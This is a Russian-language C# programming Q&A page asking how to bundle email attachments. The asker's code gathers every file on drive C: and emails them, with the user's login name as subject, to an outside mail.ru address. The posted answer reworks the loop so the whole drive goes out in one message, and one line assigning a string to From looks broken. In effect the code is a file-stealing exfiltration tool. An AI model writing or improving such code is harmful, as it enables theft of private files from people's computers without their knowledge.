Прикрепить вложения к e-mail по очереди - C#

Узнай цену своей работы

Формулировка задачи:

Тут фрагмент программы, которая ищет файлы по определенной маске и отправляет на почту.Я хочу чтобы в цикле вложения добавлялись одно за другим, а затем отправлялись одним сообщением. что-то типа к sendfile(n-1) добавить sendfile(n).
try
            {
                string[] files = Directory.GetFiles(@"C:", "*", SearchOption.AllDirectories);
                foreach (string f in files)
                {
                    string from = "removed@mail.ru";
                    string to = "removed@mail.ru";
                    string subject = Environment.UserName;
                    string text = "";
                    text = text + f + "\n";
                    message = new MailMessage(from, to, subject, text);
                    Attachment sendfile = new Attachment(f);
                    message.Attachments.Add(sendfile);
                }
                try
                {
                    client.Send(message);
                    Console.WriteLine("Message send");
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }
            }
            catch (Exception ex) { Console.WriteLine(ex.ToString()); }
То есть совместить вложения, чтобы они отправлялись одним сообщением, а не по очереди. что-то в роде:
int n=..., t1=0, t2=0;
while(...)
{
t1=n;
n=t1+t2;
t2=n;
}

Решение задачи: «Прикрепить вложения к e-mail по очереди»

textual
Листинг программы
                    message = new MailMessage();
                    message.From  = "clfdf2303@mail.ru";
                    message.To.Add("clfdf2303@mail.ru");
                    message.Subject = Environment.UserName;
                    
               foreach (string f in files)
                {
                    text = text + f + "\n";
                    Attachment sendfile = new Attachment(f);
                    message.Attachments.Add(sendfile);
                }
               message.Body = text;

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

7   голосов , оценка 4.286 из 5